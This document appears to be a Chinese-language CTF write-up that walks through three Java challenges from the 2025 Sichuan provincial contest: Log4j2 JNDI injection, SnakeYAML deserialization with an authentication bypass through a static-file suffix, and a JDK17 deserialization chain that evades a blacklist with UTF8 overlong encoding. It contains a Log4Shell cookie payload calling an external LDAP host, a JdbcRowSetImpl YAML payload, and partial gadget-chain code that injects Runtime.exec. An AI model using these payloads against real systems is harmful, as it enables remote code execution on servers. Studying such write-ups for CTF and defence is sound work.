2025四川省赛-Java赛题深度剖析
字数 1588 2025-12-10 12:11:01
2025四川省赛-Java赛题深度剖析教学文档
概述
本教学文档深入分析2025年四川省赛Java赛题中的三个核心漏洞场景:Log4j2漏洞利用、SnakeYAML反序列化漏洞和自定义反序列化链绕过。每个场景都包含漏洞原理、利用条件和详细攻击流程。
一、Log4j2漏洞利用(CVE-2021-44228)
漏洞环境
- Log4j2版本:2.14.1(存在CVE-2021-44228漏洞)
- 触发点:Cookie值记录到日志时触发
漏洞原理
Log4j2在2.14.1版本中存在JNDI注入漏洞,当日志记录包含${jndi:ldap://}格式的字符串时,会执行JNDI查找并加载远程恶意对象。
攻击步骤
- 识别注入点:通过Fuzz测试发现Cookie值引发的报错会被记录到日志中
- 构造POC:
Cookie: ${${jndi:ldap://47.109.156.81:1389/Deserialize/Jackson/Command/calc}}
- 执行结果:成功触发计算器程序执行
注意事项
- 该漏洞只能利用一次,因为错误日志只会记录一次
- 需要目标服务器能够访问外部LDAP服务器
二、SnakeYAML反序列化漏洞
漏洞环境
- 组件:SnakeYAML(存在反序列化漏洞的版本)
- 目标路由:
/api/admin - 前置条件:需要鉴权绕过
鉴权绕过技巧
- 分析过滤逻辑:静态文件后缀(如.css)的请求会直接放行
- 路径构造:在目标路由后添加静态文件后缀可绕过鉴权
- 示例:
/api/admin/test.css
- 示例:
攻击步骤
- 直接利用尝试(失败):
!!com.sun.rowset.JdbcRowSetImpl {
dataSourceName: "ldap://127.0.0.1:9999/test",
autoCommit: true
}
- 二次反序列化绕过:由于JDK1.8环境限制,选择LDAP二次反序列化
- 构造利用链:使用不依赖spring-aop的Jackson反序列化链
完整POC代码
import com.fasterxml.jackson.databind.node.POJONode;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Vector;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
public class test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
ClassPool.getDefault().insertClassPath(new LoaderClassPath(test.class.getClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// 获取原方法
CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");
// 修改方法名
originalMethod.setName("Replace");
// 加载修改后的类
ctClass.toClass();
CtClass clazz = pool.makeClass("gaoren");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
// ... 后续利用代码
}
}
利用结果
- 成功启动LDAP服务器
- 最终触发计算器程序执行
三、自定义反序列化链绕过
环境信息
- JDK版本:17
- 目标接口:
/object - 关键特性:反序列化后调用toString方法
防护机制分析
-
SafeObjectInputStream类:包含两个黑名单
- BlackList1:直接比较字节码
- BlackList2:可通过二次反序列化绕过
-
BlackList1绕过技术:使用UTF8 Overlong Encoding
- 原理:改变明文字节码表示,绕过直接字节比较
- 实现:调用
student.ser(node)方法进行编码转换
攻击步骤
- 利用Jackson触发getter:通过TemplatesImpl实现RCE
- 构造UTF8 Overlong Encoding:绕过字节码检查
- 完整利用链构造
POC代码核心部分
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.Vector;
import com.fasterxml.jackson.databind.node.POJONode;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
public class test3 {
public static void main(String[] args) throws Exception {
patchModule(test3.class);
ClassPool classPool = ClassPool.getDefault();
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] classBytes = cc.toBytecode();
CtClass cc1 = classPool.makeClass("Evil1");
cc1.makeClassInitializer().insertBefore(cmd);
byte[] classBytes1 = cc1.toBytecode();
byte[][] code = new byte[][]{classBytes,classBytes1};
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object impl = getObject(clazz);
setFieldValue(impl,"_name","test");
setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
setFieldValue(impl,"_bytecodes",code);
// ... 后续利用代码
}
}
替代方案思考
在JDK17环境下,考虑使用LdapAttribute.getAttributeDefinition方法:
-
利用链特点:
- 通过Jackson触发getter
- 使用Attribute接口的getter方法
- 通过代理类绕过JDK17模块化机制
-
局限性:
- 稳定性较差(Attribute接口有多个getter方法)
- JDK17限制:只能使用RMI协议,而LdapAttribute只支持LDAP协议
- 本地工厂类利用受限(Tomcat9环境下)
替代POC代码框架
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
// ... 其他导入
public class test2 {
public static void main(String[] args) throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
Module baseModule = Object.class.getModule();
Class<?> currentClass = test2.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
ClassPool.getDefault().insertClassPath(new LoaderClassPath(test2.class.getClassLoader()));
CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
// ... 方法修改代码
}
}
四、技术要点总结
关键绕过技术
- 鉴权绕过:利用静态文件后缀绕过路径检查
- 字节码检查绕过:UTF8 Overlong Encoding技术
- 模块化绕过:通过Unsafe修改module字段
- 二次反序列化:在受限环境下的链式利用
版本适配策略
- JDK1.8:可直接使用远程类加载
- JDK17:需要绕过模块化限制,利用链选择受限
稳定性考量
- 某些利用链存在不稳定性(如Attribute接口多个getter)
- 可能需要多次尝试才能成功
- 环境依赖(如spring-aop)会影响利用链选择
本教学文档详细分析了三个漏洞场景的技术细节和利用方法,为Java安全研究和CTF竞赛提供了实用的技术参考。